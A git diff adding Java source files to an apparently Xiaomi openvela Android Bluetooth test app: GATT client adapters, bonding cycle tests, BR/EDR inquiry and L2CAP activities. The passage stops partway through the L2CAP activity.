b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/GattClientAdapter.java new file mode 100755 index 0000000000000000000000000000000000000000..26caa75fae1b3165e2e786bd17149a0ae9053579 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/GattClientAdapter.java @@ -0,0 +1,226 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.ble; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; +import android.view.View; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.os.Handler; +import android.os.Looper; +import android.util.Log; + +import android.bluetooth.BluetoothAdapter; +import android.bluetooth.BluetoothDevice; +import android.bluetooth.BluetoothGatt; +import android.bluetooth.BluetoothGattCallback; +import android.bluetooth.BluetoothGattService; +import android.bluetooth.BluetoothProfile; + +import androidx.core.os.HandlerCompat; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import com.openvela.bluetooth.adapter.RecyclerAdapter; +import com.openvela.bluetooth.adapter.RecyclerViewHolder; +import com.openvela.bluetooth.BtDevice; +import com.openvela.bluetooth.callback.BleConnectCallback; +import com.openvela.bluetoothtest.R; + +public class GattClientAdapter extends RecyclerAdapter<BluetoothGattService> { + private final static String TAG = GattClientAdapter.class.getSimpleName(); + private static final String BASE_UUID_REGEX = "0000([0-9a-f][0-9a-f][0-9a-f][0-9a-f])-0000-1000-8000-00805f9b34fb"; + private static final int GATT_CONNECT_TIMEOUT_MS = 10 * 1000; + private final Handler handler = new Handler(Looper.myLooper()); + private final BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); + private final Map<String, BluetoothGatt> gattHashMap = new HashMap<>(); + private BleConnectCallback<BtDevice> bleConnectCallback; + private int view_position = -1; + + public GattClientAdapter(Context context) { + super(context, R.layout.item_gatt_service, new ArrayList<>()); + } + + @Override + public void onBindViewHolderItem(RecyclerViewHolder viewHolder, BluetoothGattService gattService) { + // Service UUID + String serviceUuid = gattService.getUuid().toString(); + StringBuilder builder = new StringBuilder(); + builder.append("UUID: 0x"); + if (serviceUuid.toLowerCase().matches(BASE_UUID_REGEX)) { + builder.append(serviceUuid.substring(4, 8).toUpperCase()); + } else { + builder.append(serviceUuid); + } + viewHolder.setText(R.id.tv_service_uuid, builder.toString()); + // Service Type + if (gattService.getType() == BluetoothGattService.SERVICE_TYPE_PRIMARY) { + viewHolder.setText(R.id.tv_service_type, "PRIMARY SERVICE"); + } else if (gattService.getType() == BluetoothGattService.SERVICE_TYPE_SECONDARY) { + viewHolder.setText(R.id.tv_service_type, "SECONDARY SERVICE"); + } else { + viewHolder.setText(R.id.tv_service_type, "UNKNOWN SERVICE"); + } + + if (viewHolder.getBindingAdapterPosition() == view_position){ + GattClientCharAdapter charAdapter = new GattClientCharAdapter(mContext, gattService.getCharacteristics()); + RecyclerView recyclerView = viewHolder.getView(R.id.recyclerView); + recyclerView.setLayoutManager(new LinearLayoutManager(mContext, LinearLayoutManager.VERTICAL, false)); + recyclerView.setAdapter(charAdapter); + + viewHolder.setVisibility(R.id.recyclerView, View.VISIBLE); + } else { + viewHolder.setVisibility(R.id.recyclerView, View.GONE); + } + + viewHolder.setOnClickListener(v -> { + if(viewHolder.getBindingAdapterPosition() == view_position) { + notifyItemChanged(view_position); + view_position = -1; + } else { + notifyItemChanged(view_position); + view_position = viewHolder.getBindingAdapterPosition(); + notifyItemChanged(view_position); + } + }); + } + + public void connect(BtDevice device, BleConnectCallback<BtDevice> callback) { + bleConnectCallback = callback; + + String address = device.getAddress(); + final BluetoothDevice bluetoothdevice = bluetoothAdapter.getRemoteDevice(address); + if (bluetoothdevice == null) { + bleConnectCallback.onConnectFailed(address, BleConnectCallback.FAILED_DEVICE_NOT_FOUND); + return; + } + + BluetoothGatt bluetoothGatt; + bluetoothGatt = bluetoothdevice.connectGatt(mContext, false, gattCallback, BluetoothDevice.TRANSPORT_LE); + if (bluetoothGatt != null) { + startConnectTimer(address); + bleConnectCallback.onConnectionChanged(address, BluetoothProfile.STATE_CONNECTING); + gattHashMap.put(address, bluetoothGatt); + } + } + + public void disconnect(BtDevice device) { + String address = device.getAddress(); + BluetoothGatt bluetoothGatt = gattHashMap.get(address); + + if (bluetoothGatt != null) { + cancelConnectTimer(address); + bluetoothGatt.disconnect(); + bleConnectCallback.onConnectionChanged(address, BluetoothProfile.STATE_DISCONNECTING); + } + } + + public void cancelConnect(BtDevice device) { + String address = device.getAddress(); + BluetoothGatt bluetoothGatt = gattHashMap.get(address); + + if (bluetoothGatt != null) { + cancelConnectTimer(address); + bluetoothGatt.disconnect(); + bleConnectCallback.onConnectionChanged(address, BluetoothProfile.STATE_DISCONNECTED); + } + } + + private void cancelConnectTimer(String address){ + handler.removeCallbacksAndMessages(address); + } + + private void startConnectTimer(String address) { + cancelConnectTimer(address); + + HandlerCompat.postDelayed(handler, () -> { + bleConnectCallback.onConnectFailed(address, BleConnectCallback.FAILED_TIMEOUT); + close(address); + }, address, GATT_CONNECT_TIMEOUT_MS); + } + + private void close(String address) { + BluetoothGatt bluetoothGatt = gattHashMap.get(address); + if (bluetoothGatt != null) { + bluetoothGatt.close(); + gattHashMap.remove(address); + } + } + + private final BluetoothGattCallback gattCallback = new BluetoothGattCallback() { + @Override + public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) { + BluetoothDevice device = gatt.getDevice(); + if (device == null){ + return; + } + + String address = device.getAddress(); + cancelConnectTimer(address); + + if (status != BluetoothGatt.GATT_SUCCESS) { + if (bleConnectCallback != null){ + bleConnectCallback.onConnectFailed(address, status); + } + close(address); + return; + } + if (newState == BluetoothProfile.STATE_CONNECTED) { + if (bleConnectCallback != null) { + bleConnectCallback.onConnectionChanged(address, BluetoothProfile.STATE_CONNECTED); + } + gatt.discoverServices(); + } else if (newState == BluetoothProfile.STATE_DISCONNECTED) { + if (bleConnectCallback != null) { + bleConnectCallback.onConnectionChanged(address, BluetoothProfile.STATE_DISCONNECTED); + } + close(address); + } + } + + @SuppressLint("NotifyDataSetChanged") + @Override + public void onServicesDiscovered(BluetoothGatt gatt, int status) { + BluetoothDevice device = gatt.getDevice(); + if (device == null){ + return; + } + + String address = device.getAddress(); + if (status == BluetoothGatt.GATT_SUCCESS) { + if (bleConnectCallback != null) { + bleConnectCallback.onServicesDiscovered(address); + } + handler.post(() -> { + mItems.clear(); + mItems.addAll(gatt.getServices()); + notifyDataSetChanged(); + }); + } else { + Log.e(TAG, "onServicesDiscovered failed: " + status); + } + } + + public void onMtuChanged(BluetoothGatt gatt, int mtu, int status){ + + } + }; + +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/GattClientCharAdapter.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/GattClientCharAdapter.java new file mode 100644 index 0000000000000000000000000000000000000000..b1a71d88aed7375e745494c0cac175e4ed551eae --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/ble/GattClientCharAdapter.java @@ -0,0 +1,85 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.ble; + +import java.util.List; + +import android.content.Context; +import android.os.Handler; +import android.os.Looper; +import android.util.Log; +import android.view.View; + +import android.bluetooth.BluetoothAdapter; +import android.bluetooth.BluetoothGatt; +import android.bluetooth.BluetoothGattCharacteristic; + +import com.openvela.bluetooth.adapter.RecyclerAdapter; +import com.openvela.bluetooth.adapter.RecyclerViewHolder; +import com.openvela.bluetoothtest.R; + +public class GattClientCharAdapter extends RecyclerAdapter<BluetoothGattCharacteristic> { + private final static String TAG = GattClientCharAdapter.class.getSimpleName(); + private static final String BASE_UUID_REGEX = "0000([0-9a-f][0-9a-f][0-9a-f][0-9a-f])-0000-1000-8000-00805f9b34fb"; + private final Handler handler = new Handler(Looper.myLooper()); + private final BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); + + public GattClientCharAdapter(Context context, List<BluetoothGattCharacteristic> data) { + super(context, R.layout.item_gatt_element, data); + } + + @Override + public void onBindViewHolderItem(RecyclerViewHolder viewHolder, BluetoothGattCharacteristic gattChar) { + // Char UUID + String charUuid = gattChar.getUuid().toString(); + StringBuilder builder = new StringBuilder(); + builder.append("UUID: 0x"); + if (charUuid.toLowerCase().matches(BASE_UUID_REGEX)) { + builder.append(charUuid.substring(4, 8).toUpperCase()); + } else { + builder.append(charUuid); + } + viewHolder.setText(R.id.tv_char_uuid, builder.toString()); + + // Char Properties + int charProp = gattChar.getProperties(); + builder.setLength(0); + if ((charProp & BluetoothGattCharacteristic.PROPERTY_READ) != 0) { + builder.append("READ,"); + } + if ((charProp & BluetoothGattCharacteristic.PROPERTY_WRITE) != 0) { + builder.append("WRITE,"); + } + if ((charProp & BluetoothGattCharacteristic.PROPERTY_WRITE_NO_RESPONSE) != 0) { + builder.append("WRITE_NO_RESPONSE,"); + } + if ((charProp & BluetoothGattCharacteristic.PROPERTY_NOTIFY) != 0) { + builder.append("NOTIFY,"); + } + if ((charProp & BluetoothGattCharacteristic.PROPERTY_INDICATE) != 0) { + builder.append("INDICATE,"); + } + viewHolder.setText(R.id.tv_char_prop, String.format("Properties: %s", builder.toString())); + + if ((charProp & BluetoothGattCharacteristic.PROPERTY_WRITE_NO_RESPONSE) != 0) { + viewHolder.setVisibility(R.id.tv_write_tput, View.VISIBLE); + viewHolder.setOnClickListener(R.id.tv_write_tput, v -> { + Log.i(TAG, "Write Tput start!"); + }); + } + } +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BondActivity.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BondActivity.java new file mode 100644 index 0000000000000000000000000000000000000000..f725532c6f5ace70a1fcb0068c725ccde0a101c0 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BondActivity.java @@ -0,0 +1,200 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.bredr; + +import android.bluetooth.BluetoothAdapter; +import android.bluetooth.BluetoothDevice; +import android.bluetooth.BluetoothManager; +import android.content.Intent; +import android.os.AsyncTask; +import android.os.Bundle; +import android.util.Log; +import android.view.View; +import android.widget.Button; +import android.widget.EditText; +import androidx.annotation.Nullable; +import androidx.appcompat.app.AppCompatActivity; + +import com.openvela.bluetooth.BluetoothBondStateObserver; +import com.openvela.bluetooth.BluetoothStateObserver; +import com.openvela.bluetooth.callback.BluetoothBondStateCallback; +import com.openvela.bluetooth.callback.BluetoothStateCallback; +import com.openvela.bluetoothtest.MainActivity; +import com.openvela.bluetoothtest.R; + +import java.lang.reflect.Method; +import java.util.Set; + +public class BondActivity extends AppCompatActivity { + private final String TAG = BondActivity.class.getSimpleName(); + EditText textBdAddr; + EditText textNumOfCycles; + EditText textPairedDevices; + EditText textResultDisplay; + private BluetoothBondStateObserver btBondStateObserver; + private BluetoothAdapter bluetoothAdapter; + private int timesOfCycles; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_bond); + listenBluetoothBondState(); + + BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class); + bluetoothAdapter = bluetoothManager.getAdapter(); + if (bluetoothAdapter == null) { + Log.e(TAG, "onClick: Device doesn't support Bluetooth"); + return; + } + + textBdAddr = findViewById(R.id.textBdAddr); + textNumOfCycles = findViewById(R.id.textNumOfCycles); + textPairedDevices = findViewById(R.id.textPairedDevices); + textResultDisplay = findViewById(R.id.textResultDisplay); + + Button buttonEnable = findViewById(R.id.button_create_bond); + buttonEnable.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String str = textNumOfCycles.getText().toString(); + if (str.isEmpty()) + timesOfCycles = 0; + else + timesOfCycles = Integer.parseInt(str); + + Log.d(TAG, "onClick: Create Bond, timesOfCycles = " + timesOfCycles); + createBond(); + } + }); + + Button buttonDisable = findViewById(R.id.button_remove_bond); + buttonDisable.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String str = textNumOfCycles.getText().toString(); + if (str.isEmpty()) + timesOfCycles = 0; + else + timesOfCycles = Integer.parseInt(str); + + Log.d(TAG, "onClick: Remove Bond, timesOfCycles = " + timesOfCycles); + removeBond(); + } + }); + } + + @Override + protected void onStart() { + super.onStart(); + + showBondedDevices(); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + btBondStateObserver.unregisterReceiver(); + } + + private void listenBluetoothBondState() { + btBondStateObserver = new BluetoothBondStateObserver(this); + btBondStateObserver.registerReceiver(new BluetoothBondStateCallback() { + @Override + public void onBonded(BluetoothDevice device) { + String str = textResultDisplay.getText().toString(); + String bdAddr = device.getAddress(); + str = "\r\n" + bdAddr + " was bonded, timesOfCycles = " + timesOfCycles + str; + textResultDisplay.setText(str); + Log.i(TAG, str); + + showBondedDevices(); + + // Disable Bluetooth again + if (timesOfCycles > 0) + removeBond(); + } + + @Override + public void onBondRemoved(BluetoothDevice device) { + String str = textResultDisplay.getText().toString(); + String bdAddr = device.getAddress(); + str = "\r\n" + bdAddr + " was removed, timesOfCycles = " + timesOfCycles + str; + textResultDisplay.setText(str); + Log.i(TAG, str); + + showBondedDevices(); + + // Enable Bluetooth again + if (timesOfCycles > 0) + createBond(); + + timesOfCycles--; + } + }); + } + + private boolean isBluetoothEnabled() { + BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); + return bluetoothAdapter != null && bluetoothAdapter.isEnabled(); + } + + private void createBond() { + String addr = textBdAddr.getText().toString(); + + try { + BluetoothDevice btDevice = bluetoothAdapter.getRemoteDevice(addr); + btDevice.createBond(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private void removeBond() { + String addr = textBdAddr.getText().toString(); + BluetoothDevice btDevice = bluetoothAdapter.getRemoteDevice(addr); + //btDevice.removeBond(); + + try { + Method method = btDevice.getClass().getMethod("removeBond", (Class[]) null); + method.invoke(btDevice, (Object[]) null); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private void showBondedDevices() { + BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); + if (bluetoothAdapter == null) + return; + + Set<BluetoothDevice> pairedDevices = bluetoothAdapter.getBondedDevices(); + + String str = "Paired devices:\r\n"; + if (pairedDevices.size() > 0) { + // There are paired devices. Get the name and address of each paired device. + for (BluetoothDevice device : pairedDevices) { + String deviceName = device.getName(); + String deviceHardwareAddress = device.getAddress(); // MAC address + + str += deviceHardwareAddress + " (" + deviceName + ") \r\n"; + } + } + + textPairedDevices.setText(str); + } +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BredrInquiryActivity.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BredrInquiryActivity.java new file mode 100755 index 0000000000000000000000000000000000000000..ab27b30636a6f9e27bdd07380d4ffb23f396c443 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BredrInquiryActivity.java @@ -0,0 +1,105 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.bredr; + +import android.os.Bundle; +import android.util.Log; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Button; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.AppCompatActivity; +import androidx.recyclerview.widget.DividerItemDecoration; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import com.openvela.bluetooth.BtDevice; +import com.openvela.bluetooth.callback.BluetoothDiscoveryCallback; +import com.openvela.bluetoothtest.R; + +public class BredrInquiryActivity extends AppCompatActivity { + private final String TAG = BredrInquiryActivity.class.getSimpleName(); + private static final long BREDR_INQUIRY_PERIOD_MS = 12 * 1000; + private TextView tvInquiryState; + private Button btnInquiry; + private EditText etFilter; + private BredrInquiryAdapter bredrInquiryAdapter; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_bredr_inquiry); + bredrInquiryAdapter = new BredrInquiryAdapter(this); + initView(); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + if (bredrInquiryAdapter.isDiscovering()) { + bredrInquiryAdapter.stopDiscovery(); + } + } + + private void initView() { + tvInquiryState = findViewById(R.id.tv_inquiry_state); + btnInquiry = findViewById(R.id.btn_inquiry); + etFilter = findViewById(R.id.et_filter); + RecyclerView recyclerView = findViewById(R.id.recyclerView); + + btnInquiry.setOnClickListener(v -> { + if (bredrInquiryAdapter.isDiscovering()) { + bredrInquiryAdapter.stopDiscovery(); + } else { + bredrInquiryAdapter.startDiscovery(new String[]{etFilter.getText().toString()}, BREDR_INQUIRY_PERIOD_MS, discoveryCallback); + } + }); + + recyclerView.setLayoutManager(new LinearLayoutManager(this, LinearLayoutManager.VERTICAL, false)); + recyclerView.addItemDecoration(new DividerItemDecoration(this, DividerItemDecoration.VERTICAL)); + recyclerView.getItemAnimator().setChangeDuration(300); + recyclerView.getItemAnimator().setMoveDuration(300); + recyclerView.setAdapter(bredrInquiryAdapter); + } + + private final BluetoothDiscoveryCallback<BtDevice> discoveryCallback = new BluetoothDiscoveryCallback<BtDevice>() { + @Override + public void onDiscoveryResult(final BtDevice device) {} + + @Override + public void onStart() { + super.onStart(); + tvInquiryState.setText("Inquiring..."); + btnInquiry.setText("STOP INQUIRY"); + } + + @Override + public void onStop() { + super.onStop(); + tvInquiryState.setText("Inquiry Stopped"); + btnInquiry.setText("START SCAN"); + } + + @Override + public void onDiscoveryFailed(int errorCode) { + super.onDiscoveryFailed(errorCode); + tvInquiryState.setText("Inquiry Failed: " + errorCode); + Log.e(TAG, "onDiscoveryFailed: " + errorCode); + } + }; +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BredrInquiryAdapter.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BredrInquiryAdapter.java new file mode 100755 index 0000000000000000000000000000000000000000..b89fdad574096d9658438161505ac46911e59186 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BredrInquiryAdapter.java @@ -0,0 +1,187 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.bredr; + +import java.util.ArrayList; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.os.Handler; +import android.os.Looper; +import android.text.TextUtils; +import android.view.View; + +import android.bluetooth.BluetoothAdapter; + +import androidx.core.os.HandlerCompat; + +import com.openvela.bluetooth.adapter.RecyclerAdapter; +import com.openvela.bluetooth.adapter.RecyclerViewHolder; +import com.openvela.bluetooth.BluetoothDiscoveryObserver; +import com.openvela.bluetooth.BtDevice; +import com.openvela.bluetooth.callback.BluetoothDiscoveryCallback; + +import com.openvela.bluetoothtest.R; + +public class BredrInquiryAdapter extends RecyclerAdapter<BtDevice> { + private final String TAG = BredrInquiryAdapter.class.getSimpleName(); + private static final String DISCOVERY_TIMEOUT_TOKEN = "discovery_timeout_token"; + private static final int RSSI_UPDATE_INTERVAL_MS = 2 * 1000; + private final Handler handler = new Handler(Looper.myLooper()); + private final BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); + private volatile BluetoothDiscoveryObserver bluetoothDiscoveryObserver; + private String[] discoveryFilters; + private BluetoothDiscoveryCallback<BtDevice> bluetoothDiscoveryCallback; + private int view_position = -1; + + public BredrInquiryAdapter(Context context) { + super(context, R.layout.item_inquiry_result, new ArrayList<>()); + bluetoothDiscoveryObserver = new BluetoothDiscoveryObserver(context); + bluetoothDiscoveryObserver.registerReceiver(discoveryCallback); + } + + @SuppressLint("DefaultLocale") + @Override + public void onBindViewHolderItem(RecyclerViewHolder viewHolder, BtDevice device) { + viewHolder.setText(R.id.tv_address, device.getAddress()); + viewHolder.setText(R.id.tv_rssi, String.format("%ddBm", device.getRssi())); + if (device.getName() == null){ + viewHolder.setText(R.id.tv_name, "Unknown"); + } else { + viewHolder.setText(R.id.tv_name, device.getName()); + } + + if (viewHolder.getBindingAdapterPosition() == view_position){ + + } else { + viewHolder.setVisibility(R.id.ll_detail, View.GONE); + } + } + + public boolean isDiscovering() { + return bluetoothDiscoveryObserver.isDiscovering(); + } + + public void startDiscovery(final String[] discoveryFilters, long discoveryPeriod, BluetoothDiscoveryCallback<BtDevice> callback) { + bluetoothDiscoveryCallback = callback; + + if (!bluetoothAdapter.isEnabled()) { + if (bluetoothDiscoveryCallback != null) { + bluetoothDiscoveryCallback.onDiscoveryFailed(BluetoothDiscoveryCallback.FAILED_INTERNAL_ERROR); + return; + } + } + + if (isDiscovering()) { + if (bluetoothDiscoveryCallback != null){ + bluetoothDiscoveryCallback.onDiscoveryFailed(BluetoothDiscoveryCallback.FAILED_ALREADY_STARTED); + } + return; + } + + super.mItems.clear(); + startDiscoveryTimer(discoveryPeriod); + + this.discoveryFilters = discoveryFilters; + bluetoothDiscoveryObserver.startDiscovery(); + } + + public void stopDiscovery() { + if (!isDiscovering()) { + return; + } + + cancelDiscoveryTimer(); + bluetoothDiscoveryObserver.cancelDiscovery(); + } + + private void cancelDiscoveryTimer() { + handler.removeCallbacksAndMessages(DISCOVERY_TIMEOUT_TOKEN); + } + + private void startDiscoveryTimer(long discoveryPeriod) { + cancelDiscoveryTimer(); + + if (discoveryPeriod >= 0){ + HandlerCompat.postDelayed(handler, () -> { + if (isDiscovering()) { + stopDiscovery(); + } + }, DISCOVERY_TIMEOUT_TOKEN, discoveryPeriod); + } + } + + private final BluetoothDiscoveryCallback<BtDevice> discoveryCallback = new BluetoothDiscoveryCallback<BtDevice>() { + @Override + public void onDiscoveryResult(final BtDevice foundDevice) { + final String address = foundDevice.getAddress(); + final String name = foundDevice.getName(); + boolean found = true; + + if (discoveryFilters != null) { + found = false; + for (String filter : discoveryFilters) { + if ((address != null && address.toLowerCase().contains(filter.toLowerCase())) || + (name != null && name.toLowerCase().contains(filter.toLowerCase()))) { + found = true; + break; + } + } + } + if (!found) { + return; + } + + for (int i = 0; i < getItemCount(); i++) { + BtDevice device = mItems.get(i); + if (TextUtils.equals(device.getAddress(), address)) { + if (device.getRssi() != foundDevice.getRssi() && System.currentTimeMillis() - device.getRssiUpdateTime() > RSSI_UPDATE_INTERVAL_MS) { + device.setRssi(foundDevice.getRssi()); + device.setRssiUpdateTime(System.currentTimeMillis()); + mItems.set(i, device); + notifyItemChanged(i); + } + return; + } + } + + BtDevice newDevice = new BtDevice(address, name); + newDevice.setRssi(foundDevice.getRssi()); + newDevice.setRssiUpdateTime(System.currentTimeMillis()); + mItems.add(newDevice); + notifyDataSetChanged(); + + if (bluetoothDiscoveryCallback != null) { + bluetoothDiscoveryCallback.onDiscoveryResult(newDevice); + } + } + + @Override + public void onStart() { + if (bluetoothDiscoveryCallback != null) { + bluetoothDiscoveryCallback.onStart(); + } + } + + @Override + public void onStop() { + if (bluetoothDiscoveryCallback != null) { + bluetoothDiscoveryCallback.onStop(); + } + } + }; +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BredrL2capActivity.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BredrL2capActivity.java new file mode 100644 index 0000000000000000000000000000000000000000..9b6bf3b258879f2eb60bc55d7b119eca5e313cd6 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/BredrL2capActivity.java @@ -0,0 +1,222 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.bredr; + +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.util.Log; +import android.view.View; +import android.widget.Button; +import android.widget.EditText; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.AppCompatActivity; + +import com.openvela.bluetooth.BtSock; +import com.openvela.bluetoothtest.MainActivity; +import com.openvela.bluetoothtest.R; + +public class BredrL2capActivity extends AppCompatActivity { + private final String TAG = MainActivity.class.getSimpleName(); + + // Client/Server #1 + EditText textServiceUUID_1; + EditText textBdAddr_1; + EditText textDataToSend_1; + BtSock btL2cap_1; + + // Client/Server #2 + EditText textServiceUUID_2; + EditText textBdAddr_2; + EditText textDataToSend_2; + BtSock btL2cap_2; + + // Data to Display + EditText textDataToDisplay; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_bredr_l2cap); + + // Service UUID #1 + textServiceUUID_1 = (EditText) findViewById(R.id.text_service_uuid_1); + + // Register Server #1 + Button buttonRegister_1 = findViewById(R.id.button_spp_server_register_1); + buttonRegister_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_1.getText().toString(); + + Log.d(TAG, "onClick: Register UUID#1 = " + uuid); + btL2cap_1.register(uuid); + } + }); + + // Unregister Server #1 + Button buttonUnregister_1 = findViewById(R.id.button_spp_server_unregister_1); + buttonUnregister_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Unregister Server#1"); + btL2cap_1.unregister(); + } + }); + + // Service UUID #2 + textServiceUUID_2 = (EditText) findViewById(R.id.text_service_uuid_2); + + // Register Server #2 + Button buttonRegister_2 = findViewById(R.id.button_spp_server_register_2); + buttonRegister_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_2.getText().toString(); + + Log.d(TAG, "onClick: Register UUID#2 = " + uuid); + btL2cap_2.register(uuid); + } + }); + + // Unregister Server #2 + Button buttonUnregister_2 = findViewById(R.id.button_spp_server_unregister_2); + buttonUnregister_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Unregister Server#2"); + btL2cap_2.unregister(); + } + }); + + // BD_ADDR #1 + textBdAddr_1 = (EditText) findViewById(R.id.text_bd_addr_1); + + // Connect by Client #1 + Button buttonConnect_1 = findViewById(R.id.button_spp_client_connect_1); + buttonConnect_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_1.getText().toString(); + String addr = textBdAddr_1.getText().toString(); + + Log.d(TAG, "onClick: Connect by Client#1, to BD_ADDR = " + addr); + btL2cap_1.connect(addr, uuid); + } + }); + + // Disconnect with Client/Server #1 + Button buttonDisonnect_1 = findViewById(R.id.button_spp_disconnect_1); + buttonDisonnect_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Disconnect with Client/Server#1"); + btL2cap_1.disconnect(); + } + }); + + // BD_ADDR #2 + textBdAddr_2 = (EditText) findViewById(R.id.text_bd_addr_2); + + // Connect by Client #2 + Button buttonConnect_2 = findViewById(R.id.button_spp_client_connect_2); + buttonConnect_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_2.getText().toString(); + String addr = textBdAddr_2.getText().toString(); + + Log.d(TAG, "onClick: Connect by Client#2, to BD_ADDR = " + addr); + btL2cap_2.connect(addr, uuid); + } + 